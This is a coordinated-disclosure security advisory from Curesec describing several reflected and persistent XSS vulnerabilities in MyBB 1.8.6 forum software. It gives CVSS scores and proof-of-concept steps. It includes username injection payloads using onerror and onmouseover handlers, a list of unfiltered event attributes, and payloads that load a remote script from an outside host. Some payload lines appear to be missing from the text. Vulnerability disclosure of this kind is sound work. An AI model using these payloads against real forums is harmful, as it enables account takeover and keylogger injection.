`Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyBB 1.8.6 Fixed in: 1.8.7 Fixed Version Link: http://resources.mybb.com/downloads/mybb_1807.zip Vendor Website: http://www.mybb.com/ Vulnerability Type: XSS Remote Exploitable: Yes Reported to vendor: 01/29/2016 Disclosed to public: 09/15/2016 Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview MyBB is forum software written in PHP. In version 1.8.6, it contains various XSS vulnerabilities, some of which are reflected and some of which are persistent. Some of them depend on custom forum or server settings. These issues may lead to the injection of JavaScript keyloggers, injection of content such as ads, or the bypassing of CSRF protection, which would for example allow the creation of a new admin user. 3. Details XSS 1: Persistent XSS - Signature CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N Description: The profile editor of the moderator control panel does not properly encode the signature of a user when editing it. Because of this, a user can create a specifically crafted signature and - once a moderator or admin visits the profile editor for that user - the injected code will be executed in the context of the victims browser. Proof of Concept: Visit the profile at: http://localhost/mybb_1806/Upload/modcp.php?action= editprofile&uid=[USER_ID] As signature, use:

XSS 2: Persistent XSS - Forum Post (depending on forum settings) CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N Description: An admin can allow HTML input for specific forums via the setting allowhtml. There are various filters in place which intend to make this safe, which may leave the admin with the impression that it is indeed safe. However, there are various possibilities to bypass these filters, mainly using HTML5 features. Proof of Concept: -> Visiting the post will trigger the code

context menu -> A right-click will trigger the code -> Input into the field will trigger the code -> A click on submit will trigger the code There are various other attributes which may also work, such as onsearch, onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such as onMouseOver or onFocus are filtered out. XSS 3: Persistent XSS - Username (depending on forum settings) CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N Description: The username is echoed unencoded in the user area. As the login does not have CSRF protection and as an admin can be logged into the admin area with a different account than the one they are logged into the forum, a persistent XSS vulnerability in the user area can be exploited. However, successful exploitation most likely requires a username length of at least 43 characters, which is more than the default settings allow. Simple Proof of Concept: 1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar The simple proof of concept can be improved to allow successful exploitation. It is not required for the victim to hover over the avatar or interact with the webpage in any way: 1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL as source (not an image upload) 3. Delete the image from the remote host, making it unavailable, thus triggering an error and executing the injected code. Possible Payloads: Loading a script with vanilla javascript takes a lot more characters than are allowed in a username by default: "onerror="s=document.createElement('script');s.src='http://localhost/s.js'; document.getElementById('top').appendChild(s)" As jQuery is loaded, this can be optimized: "onerror="$.getScript('http://aa.bc/s.js') Executing the payload for a victim: The attack does not require the victim to not be logged in as normal user, as one can login even when already logged in. The login as a normal user also does not affect the login as admin. Thus, an attacker could use the following payload to log a victim in and redirect them to the site containing the payload:

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